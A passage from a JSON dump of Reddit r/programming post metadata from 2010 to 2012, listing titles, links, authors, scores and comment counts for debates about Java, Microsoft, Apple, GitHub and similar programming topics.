  "createdAt": "2012-01-20T00:57:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://danielmiessler.com/blog/20-pieces-of-programming-wisdom",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_n209t",
  "url": "http://whiley.org/2011/12/06/final-should-be-default-for-classes-in-java/",
  "permalink": "https://www.reddit.com/r/programming/comments/n209t/final_should_be_default_for_classes_in_java/",
  "title": "Final should be Default for Classes in Java",
  "body": null,
  "author": "redjamjar",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.51,
  "numComments": 141,
  "createdAt": "2011-12-06T03:18:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://whiley.org/2011/12/06/final-should-be-default-for-classes-in-java/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_lxjrb",
  "url": "http://www.codeproject.com/KB/cpp/errors-in-open-source.aspx",
  "permalink": "https://www.reddit.com/r/programming/comments/lxjrb/examples_of_errors_detected_in_various_opensource/",
  "title": "Examples of errors detected in various \nopen-source projects",
  "body": null,
  "author": "Antony32",
  "subreddit": "programming",
  "score": 30,
  "upvoteRatio": 0.54,
  "numComments": 138,
  "createdAt": "2011-11-02T10:13:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.codeproject.com/KB/cpp/errors-in-open-source.aspx",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_lhtzj",
  "url": "http://groups.google.com/group/android-building/browse_thread/thread/ade6fcd847fbb3fb?pli=1",
  "permalink": "https://www.reddit.com/r/programming/comments/lhtzj/google_fails_to_release_source_for_ice_cream/",
  "title": "Google fails to release source for Ice Cream Sandwich",
  "body": null,
  "author": "gwillen",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 44,
  "createdAt": "2011-10-19T19:49:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://groups.google.com/group/android-building/browse_thread/thread/ade6fcd847fbb3fb?pli=1",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_k9rqy",
  "url": "https://github.com/Marak/node_mailer/pull/46",
  "permalink": "https://www.reddit.com/r/programming/comments/k9rqy/best_github_pull_request_ever/",
  "title": "Best GitHub pull request ever",
  "body": null,
  "author": "mac",
  "subreddit": "programming",
  "score": 29,
  "upvoteRatio": 0.53,
  "numComments": 118,
  "createdAt": "2011-09-09T06:20:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/Marak/node_mailer/pull/46",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_jfc2c",
  "url": "http://blog.nodejitsu.com/getting-refunds-on-open-source-projects",
  "permalink": "https://www.reddit.com/r/programming/comments/jfc2c/how_to_get_a_refund_on_that_opensource_project/",
  "title": "How to get a refund on that open-source project you tried to use but didn't work",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 6,
  "upvoteRatio": 0.51,
  "numComments": 45,
  "createdAt": "2011-08-11T03:49:24.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://blog.nodejitsu.com/getting-refunds-on-open-source-projects",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_izlyi",
  "url": "http://blog.indextank.com/1030/interviewing-engineers-enough-with-the-whiteboard-coding/",
  "permalink": "https://www.reddit.com/r/programming/comments/izlyi/interviewing_engineers_enough_with_the_whiteboard/",
  "title": "Interviewing Engineers? Enough with the whiteboard coding!",
  "body": null,
  "author": "elcheapo",
  "subreddit": "programming",
  "score": 27,
  "upvoteRatio": 0.55,
  "numComments": 286,
  "createdAt": "2011-07-25T22:51:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://blog.indextank.com/1030/interviewing-engineers-enough-with-the-whiteboard-coding/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_iq0g6",
  "url": "http://www.barebonescoder.com/2011/07/wp7-dev-adding-screens-button-handlers/",
  "permalink": "https://www.reddit.com/r/programming/comments/iq0g6/wp7_dev_adding_screens_button_handlers/",
  "title": "WP7 Dev - Adding Screens & Button Handlers",
  "body": null,
  "author": "barebonescoder",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.52,
  "numComments": 12,
  "createdAt": "2011-07-15T01:44:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.barebonescoder.com/2011/07/wp7-dev-adding-screens-button-handlers/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_ipo90",
  "url": "http://code.dblock.org/ShowPost.aspx?id=232",
  "permalink": "https://www.reddit.com/r/programming/comments/ipo90/github_is_your_new_resume/",
  "title": "Github is Your New Resume\n",
  "body": null,
  "author": "LBRapid",
  "subreddit": "programming",
  "score": 31,
  "upvoteRatio": 0.55,
  "numComments": 199,
  "createdAt": "2011-07-14T18:51:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://code.dblock.org/ShowPost.aspx?id=232",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_imj5x",
  "url": "http://naminghard.blogspot.com/2011/07/programming-metaphors-you-need-part-1.html",
  "permalink": "https://www.reddit.com/r/programming/comments/imj5x/software_is_often_full_of_dead_bird_features/",
  "title": "Software is often full of dead bird features.",
  "body": null,
  "author": "self",
  "subreddit": "programming",
  "score": 68,
  "upvoteRatio": 0.58,
  "numComments": 180,
  "createdAt": "2011-07-11T16:43:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://naminghard.blogspot.com/2011/07/programming-metaphors-you-need-part-1.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_id1zp",
  "url": "http://blog.gluster.com/2011/06/linus-torvalds-doesnt-understand-user-space-storage/",
  "permalink": "https://www.reddit.com/r/programming/comments/id1zp/linus_arrogance/",
  "title": "Linus' arrogance",
  "body": null,
  "author": "tcris",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 76,
  "createdAt": "2011-06-30T07:01:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://blog.gluster.com/2011/06/linus-torvalds-doesnt-understand-user-space-storage/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_i3xrg",
  "url": "http://www.lua.org/work/doc/#changes",
  "permalink": "https://www.reddit.com/r/programming/comments/i3xrg/lua_52_released/",
  "title": "Lua 5.2 Released",
  "body": null,
  "author": "codenut",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.47,
  "numComments": 20,
  "createdAt": "2011-06-20T01:15:00.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.lua.org/work/doc/#changes",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_hyak4",
  "url": "http://arstechnica.com/microsoft/news/2011/06/html5-centric-windows-8-leaves-microsoft-developers-horrified.ars",
  "permalink": "https://www.reddit.com/r/programming/comments/hyak4/why_microsoft_has_made_developers_horrified_about/",
  "title": "Why Microsoft has made developers horrified about coding for Windows 8",
  "body": null,
  "author": "mistawobin",
  "subreddit": "programming",
  "score": 258,
  "upvoteRatio": 0.64,
  "numComments": 552,
  "createdAt": "2011-06-13T05:40:53.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://arstechnica.com/microsoft/news/2011/06/html5-centric-windows-8-leaves-microsoft-developers-horrified.ars",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_hx3ks",
  "url": "http://imgur.com/Oi1ZO",
  "permalink": "https://www.reddit.com/r/programming/comments/hx3ks/whitespace_grammar/",
  "title": "Whitespace Grammar",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 31,
  "createdAt": "2011-06-11T12:01:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://imgur.com/Oi1ZO",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_h7cmi",
  "url": "http://porg.es/blog/so-it-turns-out-that-dot-nets-regex-are-more-powerful-than-i-originally-thought",
  "permalink": "https://www.reddit.com/r/programming/comments/h7cmi/so_it_turns_out_that_nets_regex_are_more_powerful/",
  "title": "So, it turns out that .NET's Regex are more powerful t̖̱̍ͭ͊h̟ͨͨa̞̖̙̔̇n͇̝͚̤̒́ͨ̐ ̯͖̏̌̔Ị̟̮̱̥̇̐̎͂ͬ͗̒ ̪̹̱͙̘ͦ̉ͪͪͣ̉͊o͕̥̝͇͙ͪ͊ͤ̑̂̽́r͔̭̪̮̟͗̍ͨ͗͛ͣḭ̝̜͈ͫ́g̥̹̥̜̦̓̇̓i̪͕̭̞͛ͯ̓͛̔̾ͫn̘̗a̰̜ͨͪ͊l̩͑̐̐́ͥ̚l̜ͨ͋̈ẙͦ́ ̟̬̬̫͙̤ͭ̚t̳͎̱̗̲́h͔͙̰̬̊̈́͊̾o͉ͫ̌̄u͉̲̥g̏ͥ̑̅̽̇h̻͇̥̰̯ͥͯṱ̯̏̄̒͒ͫ̃.͖̟͍̘̼̼̍̐̀͊̓́...\n",
  "body": null,
  "author": "Porges",
  "subreddit": "programming",
  "score": 9,
  "upvoteRatio": 0.53,
  "numComments": 31,
  "createdAt": "2011-05-09T14:31:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://porg.es/blog/so-it-turns-out-that-dot-nets-regex-are-more-powerful-than-i-originally-thought",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_h6aai",
  "url": "http://69.195.198.92:8080/",
  "permalink": "https://www.reddit.com/r/programming/comments/h6aai/hey_reddit_i_wrote_a_chat_app_using_rabbitmq_and/",
  "title": "Hey reddit I wrote a chat app using RabbitMQ and I want to see with how many users it breaks. Bring it on!",
  "body": null,
  "author": "old_sound",
  "subreddit": "programming",
  "score": 37,
  "upvoteRatio": 0.55,
  "numComments": 135,
  "createdAt": "2011-05-07T20:53:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://69.195.198.92:8080/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_h4ng2",
  "url": "http://www.slideshare.net/Andrey_Karpov/add2011-en",
  "permalink": "https://www.reddit.com/r/programming/comments/h4ng2/static_analysis_of_c_source_code_funny/",
  "title": "Static analysis of C++ source code (funny presentation from ADD 2011)",
  "body": null,
  "author": "Andrey_Karpov_N",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 28,
  "createdAt": "2011-05-05T06:56:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.slideshare.net/Andrey_Karpov/add2011-en",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_gnc6a",
  "url": "http://www.topdesignmag.com/top-13-most-absurd-programming-languages/",
  "permalink": "https://www.reddit.com/r/programming/comments/gnc6a/top_13_most_absurd_programming_languages/",
  "title": "Top 13 Most Absurd Programming Languages\r\n",
  "body": null,
  "author": "udelblue",
  "subreddit": "programming",
  "score": 15,
  "upvoteRatio": 0.53,
  "numComments": 81,
  "createdAt": "2011-04-11T12:08:11.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.topdesignmag.com/top-13-most-absurd-programming-languages/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_glg0p",
  "url": "http://www.fzakaria.com/2011/04/not-naming-any-names/",
  "permalink": "https://www.reddit.com/r/programming/comments/glg0p/he_was_asked_to_write_atoii_cant_believe_it/",
  "title": "He was asked to write atoi()...I can't believe it compiles.",
  "body": null,
  "author": "Setheron",
  "subreddit": "programming",
  "score": 25,
  "upvoteRatio": 0.54,
  "numComments": 191,
  "createdAt": "2011-04-08T13:55:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.fzakaria.com/2011/04/not-naming-any-names/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_fzpo6",
  "url": "http://www.omegadrivers.net/index.php?option=com_content&view=article&id=331:really-need-your-help&catid=41:omegadriversnet-news&Itemid=74",
  "permalink": "https://www.reddit.com/r/programming/comments/fzpo6/ive_been_using_this_guys_drivers_for_gaming_for/",
  "title": "I've been using this guy's drivers for gaming for years, they are brilliant. But he needs some help.",
  "body": null,
  "author": "Moopwax",
  "subreddit": "programming",
  "score": 36,
  "upvoteRatio": 0.55,
  "numComments": 91,
  "createdAt": "2011-03-08T12:24:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.omegadrivers.net/index.php?option=com_content&view=article&id=331:really-need-your-help&catid=41:omegadriversnet-news&Itemid=74",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_ft34a",
  "url": "http://www.secretgeek.net/NoVS.asp",
  "permalink": "https://www.reddit.com/r/programming/comments/ft34a/the_no_visual_studio_movement_compiling_net/",
  "title": "The NO Visual Studio movement: Compiling .net projects in Notepad++",
  "body": null,
  "author": "gst",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 133,
  "createdAt": "2011-02-26T07:48:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.secretgeek.net/NoVS.asp",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_fg8tt",
  "url": "http://i.imgur.com/haspR.jpg",
  "permalink": "https://www.reddit.com/r/programming/comments/fg8tt/urban_sql_injection/",
  "title": "Urban SQL Injection",
  "body": null,
  "author": "WASDx",
  "subreddit": "programming",
  "score": 11,
  "upvoteRatio": 0.53,
  "numComments": 22,
  "createdAt": "2011-02-06T11:17:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "image",
    "url": "http://i.imgur.com/haspR.jpg",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_eguu6",
  "url": "http://archives.postgresql.org/pgsql-hackers/2010-08/msg01841.php",
  "permalink": "https://www.reddit.com/r/programming/comments/eguu6/so_julian_assange_was_a_postgres_committer/",
  "title": "So Julian Assange was a Postgres committer",
  "body": null,
  "author": "funtustik",
  "subreddit": "programming",
  "score": 7,
  "upvoteRatio": 0.51,
  "numComments": 46,
  "createdAt": "2010-12-06T04:33:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://archives.postgresql.org/pgsql-hackers/2010-08/msg01841.php",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_e71rj",
  "url": "http://nedroid.com/2010/11/fear-of-fireballs/",
  "permalink": "https://www.reddit.com/r/programming/comments/e71rj/how_not_to_design_a_user_interface/",
  "title": "How *not* to design a user interface.",
  "body": null,
  "author": "skeeto",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.52,
  "numComments": 32,
  "createdAt": "2010-11-16T17:23:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://nedroid.com/2010/11/fear-of-fireballs/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_dv2ql",
  "url": "http://www.defectivebydesign.org/macappstore",
  "permalink": "https://www.reddit.com/r/programming/comments/dv2ql/apple_has_now_announced_its_bringing_the_app/",
  "title": "Apple has now announced it's bringing the App Store concept to the Mac. How long until MacBooks need jailbreaking too?",
  "body": null,
  "author": "TheSilentNumber",
  "subreddit": "programming",
  "score": 8,
  "upvoteRatio": 0.52,
  "numComments": 84,
  "createdAt": "2010-10-22T21:46:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.defectivebydesign.org/macappstore",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_diaw2",
  "url": "https://bugs.eclipse.org/bugs/show_bug.cgi?id=35779&resub",
  "permalink": "https://www.reddit.com/r/programming/comments/diaw2/lets_give_the_eclipse_team_the_shame_they_deserve/",
  "title": "Let's give the Eclipse Team the shame they deserve : 7 years later we still don't have proper line/word wrap.",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 7,
  "upvoteRatio": 0.52,
  "numComments": 43,
  "createdAt": "2010-09-24T12:54:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://bugs.eclipse.org/bugs/show_bug.cgi?id=35779&resub",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_dgaq8",
  "url": "http://stefanp.tumblr.com/post/1131008920/not-happy-about-ie9",
  "permalink": "https://www.reddit.com/r/programming/comments/dgaq8/why_im_not_happy_about_ie9/",
  "title": "Why I’m not happy about IE9",
  "body": null,
  "author": "aviaquarius",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 44,
  "createdAt": "2010-09-20T11:00:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://stefanp.tumblr.com/post/1131008920/not-happy-about-ie9",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_d9ov7",
  "url": "http://twitpic.com/2j1ys2/full",
  "permalink": "https://www.reddit.com/r/programming/comments/d9ov7/hey_reddit_i_created_a_lolcode_compiler_for/",
  "title": "Hey reddit, I created a LOLCode compiler for Microsoft's new Windows Phone 7. Here's the WP7 emulator running some LOLCode.",
  "body": null,
  "author": "JustinAngel",
  "subreddit": "programming",
  "score": 196,
  "upvoteRatio": 0.63,
  "numComments": 150,
  "createdAt": "2010-09-05T00:05:01.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://twitpic.com/2j1ys2/full",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_clt2u",
  "url": "https://www.reddit.com/r/programming/comments/clt2u/how_old_are_the_members_of_this_subreddit_post/",
  "permalink": "https://www.reddit.com/r/programming/comments/clt2u/how_old_are_the_members_of_this_subreddit_post/",
  "title": "How old are the members of this subreddit? (post your age, or upvote your age if it's already been posted by someone else)",
  "body": null,
  "author": "redditor81726354",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 90,
  "createdAt": "2010-07-04T06:02:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "text",
    "url": "https://www.reddit.com/r/programming/comments/clt2u/how_old_are_the_members_of_this_subreddit_post/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_cjv1x",
  "url": "http://www.theopensourcery.com/keepopen/?p=2343",
  "permalink": "https://www.reddit.com/r/programming/comments/cjv1x/apple_vs_adobe_are_apples_macgraphics_drivers_to/",
  "title": "Apple vs Adobe: Are Apples MacGraphics Drivers to Blame - for reputed poor performance of Flash on Mac and iPhone etc. These careful and comprehensive benchmarks appear to confirm it  decisively.",
  "body": null,
  "author": "jbsurv",
  "subreddit": "programming",
  "score": 30,
  "upvoteRatio": 0.53,
  "numComments": 218,
  "createdAt": "2010-06-28T17:16:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.theopensourcery.com/keepopen/?p=2343",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_cjhzk",
  "url": "http://www.slideshare.net/jeffz/why-java-sucks-and-c-rocks-final",
  "permalink": "https://www.reddit.com/r/programming/comments/cjhzk/why_java_sucks_and_c_rocks_final/",
  "title": "Why Java Sucks and C# Rocks (Final)",
  "body": null,
  "author": "ais04",
  "subreddit": "programming",
  "score": 11,
  "upvoteRatio": 0.51,
  "numComments": 197,
  "createdAt": "2010-06-27T11:31:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.slideshare.net/jeffz/why-java-sucks-and-c-rocks-final",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_cixik",
  "url": "http://www.youtube.com/watch?v=KrfpnbGXL70",
  "permalink": "https://www.reddit.com/r/programming/comments/cixik/dad_why_do_we_always_use_net_im_not_a_big_fan_of/",
  "title": "\"Dad? Why do we always use .NET?\" — I'm not a big fan of Java, but this movie trailer is brilliant!",
  "body": null,
  "author": "judofyr",
  "subreddit": "programming",
  "score": 2919,
  "upvoteRatio": 0.94,
  "numComments": 1016,
  "createdAt": "2010-06-25T13:11:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.youtube.com/watch?v=KrfpnbGXL70",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_c8ojz",
  "url": "http://www.bizjournals.com/sanjose/stories/2010/05/24/daily79.html",
  "permalink": "https://www.reddit.com/r/programming/comments/c8ojz/analyst_reports_that_visual_studio_will_support/",
  "title": "Analyst reports that Visual Studio will support native Mac OS development, and will be announced by Steve Ballmer at WWDC",
  "body": null,
  "author": "veridicus",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 335,
  "createdAt": "2010-05-27T14:18:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.bizjournals.com/sanjose/stories/2010/05/24/daily79.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_bwqfa",
  "url": "https://www.reddit.com/r/programming/comments/bwqfa/reddit_if_i_put_gpl_software_in_a_bomb_should_i/",
  "permalink": "https://www.reddit.com/r/programming/comments/bwqfa/reddit_if_i_put_gpl_software_in_a_bomb_should_i/",
  "title": "Reddit, if I put GPL software in a bomb, should I put the sources in there too because dropping the bomb on somebody is \"distributing\" the software?",
  "body": null,
  "author": "bonzinip",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.51,
  "numComments": 76,
  "createdAt": "2010-04-27T13:15:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "text",
    "url": "https://www.reddit.com/r/programming/comments/bwqfa/reddit_if_i_put_gpl_software_in_a_bomb_should_i/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_bu6j1",
  "url": "http://www.theregister.co.uk/2010/04/21/ken_thompson_take_our_test/",
  "permalink": "https://www.reddit.com/r/programming/comments/bu6j1/c_language_inventor_spurns_googles_language_exam/",
  "title": "C language inventor spurns Google's language exam",
  "body": null,
  "author": "sepsis",
  "subreddit": "programming",
  "score": 40,
  "upvoteRatio": 0.56,
  "numComments": 43,
  "createdAt": "2010-04-21T16:19:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.theregister.co.uk/2010/04/21/ken_thompson_take_our_test/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_bpj0g",
  "url": "http://img64.imageshack.us/img64/1874/chromevsie8html5.png",
  "permalink": "https://www.reddit.com/r/programming/comments/bpj0g/looks_like_microsoft_have_a_lot_of_catching_up_to/",
  "title": "Looks like Microsoft have a lot of catching up to do...",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 7,
  "upvoteRatio": 0.52,
  "numComments": 55,
  "createdAt": "2010-04-11T22:55:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "image",
    "url": "http://img64.imageshack.us/img64/1874/chromevsie8html5.png",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_bp8fq",
  "url": "https://www.reddit.com/r/programming/comments/bp8fq/fine_got_it_apps_for_the_iphone_can_only_be/",
  "permalink": "https://www.reddit.com/r/programming/comments/bp8fq/fine_got_it_apps_for_the_iphone_can_only_be/",
  "title": "Fine, got it. Apps for the iPhone can only be written in C, C++, Objective-C.  And no intermediate layer.  Can proggit move on now?!?",
  "body": null,
  "author": "bonzinip",
  "subreddit": "programming",
  "score": 27,
  "upvoteRatio": 0.53,
  "numComments": 111,
  "createdAt": "2010-04-11T00:00:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "text",
    "url": "https://www.reddit.com/r/programming/comments/bp8fq/fine_got_it_apps_for_the_iphone_can_only_be/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_bn2wi",
  "url": "https://www.reddit.com/r/programming/comments/bn2wi/the_idea_that_i_can_be_presented_with_a_problem/",
  "permalink": "https://www.reddit.com/r/programming/comments/bn2wi/the_idea_that_i_can_be_presented_with_a_problem/",
